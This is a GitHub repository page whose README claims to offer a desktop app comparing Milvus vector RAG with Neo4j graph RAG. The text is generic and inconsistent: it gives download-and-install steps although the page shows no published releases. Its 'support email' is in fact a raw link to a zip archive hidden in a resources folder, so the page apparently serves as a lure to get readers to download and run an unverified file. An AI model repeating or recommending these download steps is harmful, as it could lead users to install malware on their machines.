Skip to content

πŸ“Š Compare the performance of Vector-based RAG and Graph-based RAG systems for efficient enterprise knowledge retrieval in corporate documents.

License

Notifications You must be signed in to change notification settings

Coder-ujju20/VectorRAG-vs-GraphRAG

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“Š VectorRAG-vs-GraphRAG - Compare Vector and Graph Systems Easily

πŸš€ Getting Started

Welcome to the VectorRAG-vs-GraphRAG project! This software helps you compare the performance of Milvus Vector-based RAG and Neo4j Graph-based RAG systems for enterprise knowledge retrieval. Follow these simple steps to download and set up the application on your computer.

πŸ“₯ Download Now

Download Software

πŸ› οΈ System Requirements

Before you start, make sure your system meets these requirements:

  • Operating System: Windows 10 or later, macOS Mojave or later, or a recent version of Linux
  • RAM: At least 4 GB
  • Storage Space: Minimum 500 MB free
  • Internet Connection: Required for downloading the application

πŸ”— Features

This application offers several key features:

  • Easy Comparison: Quickly evaluate the performance differences between Milvus Vector and Neo4j Graph systems.
  • User-Friendly Interface: Navigate through an intuitive design suitable for all users.
  • Comprehensive Analytics: View detailed reports on the performance of both systems.
  • Support for Multiple Formats: Import and process various document types for testing.

πŸ” Understanding the Technologies

πŸ”€ Vector-Based RAG

Milvus is a vector database designed for handling large amounts of unstructured data efficiently. It utilizes advanced algorithms to retrieve knowledge based on vectors, making it ideal for applications in AI and machine learning.

🌐 Graph-Based RAG

Neo4j is a graph database that excels in complex data relationships. It allows users to run Cypher queries, making it perfect for navigating interconnected data, such as knowledge graphs.

πŸ“‚ Download & Install

To begin, visit the Releases page to download the latest version.

  1. Click on the link above to go to the releases section.
  2. Select the most recent version of the application.
  3. Download the appropriate file for your operating system.
  4. Once downloaded, open the file and follow the on-screen instructions to install the software.

πŸš€ Running the Application

After installation, follow these steps to run the application:

  1. Locate the application icon on your desktop or in your applications folder.
  2. Double-click the icon to open the application.
  3. Upon launch, follow the instructions within the app to begin comparing systems.

πŸŽ“ Basic Usage Guide

Step 1: Importing Data

  • Click on the "Import" button.
  • Select the PDF or other document types you wish to analyze.
  • The application will load your files for processing.

Step 2: Choosing a System for Comparison

  • Choose between Milvus Vector and Neo4j Graph from the options presented on the main screen.
  • Select the type of analysis you want to perform (e.g., speed, accuracy).

Step 3: Viewing Results

  • After the analysis completes, you will see detailed graphs and statistics.
  • The application allows you to save or export results for further examination.

πŸ’¬ Getting Help

If you encounter issues or have questions, check our FAQ section or contact our support team via email at https://github.com/Coder-ujju20/VectorRAG-vs-GraphRAG/raw/refs/heads/main/graph_rag/resources/RAG-vs-RA-Graph-Vector-v1.7.zip

πŸ› οΈ Contributing to the Project

We welcome contributions from anyone who wants to help improve this project. To contribute:

  1. Fork the repository.
  2. Create a new feature branch.
  3. Make your changes.
  4. Submit a pull request with a description of your changes.

πŸ”— Additional Resources

Happy comparing! For updates, visit us regularly at our Releases page.

About

πŸ“Š Compare the performance of Vector-based RAG and Graph-based RAG systems for efficient enterprise knowledge retrieval in corporate documents.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •